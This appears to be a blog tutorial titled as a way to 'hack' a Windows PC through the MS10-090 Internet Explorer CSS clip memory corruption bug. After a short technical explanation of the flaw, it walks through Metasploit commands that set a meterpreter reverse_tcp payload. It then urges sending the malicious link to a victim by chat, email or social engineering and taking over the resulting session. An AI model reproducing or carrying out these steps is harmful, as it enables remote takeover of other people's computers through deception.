Hack windows PC with Internet Explorer CSS Set User Clip Memory Corruption Exploit

This module exploits memory corruption vulnerability within Microsoft’s HTML engine (mshtml). When parsing an HTML page containing a specially crafted CSS tag, memory corruption occurs that can lead arbitrary code execution. It seems like Microsoft code inadvertently increments a vtable pointer to point to an unaligned address within the vtable’s function pointers. This leads to the program counter being set to the address determined by the address “[vtable+0x30+1]”. The particular address depends on the exact version of the mshtml library in use. Since the address depends on the version of mshtml, some versions may not be exploitable. Specifically, those ending up with a program counter value within another module, in kernel space, or just not able to be reached with various memory spraying techniques. Also, since the address is not controllable, it is unlikely to be possible to use ROP to bypass non-executable memory protections.

Exploit Targets

Windows XP service pack 2

Windows XP service pack 3

Internet Explorer 6

Internet Explorer 7


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms10_090_ie_css_clip

Msf exploit (ms10_090_ie_css_clip)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms10_090_ie_css_clip)>set lhost (IP of Local Host)

Msf exploit (ms10_090_ie_css_clip)>set srvhost (This must be an address on the local machine)

Msf exploit (ms10_090_ie_css_clip)>set uripath clips (The Url to use for this exploit)

Msf exploit (ms10_090_ie_css_clip)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

Leave a Reply

Your email address will not be published. Required fields are marked *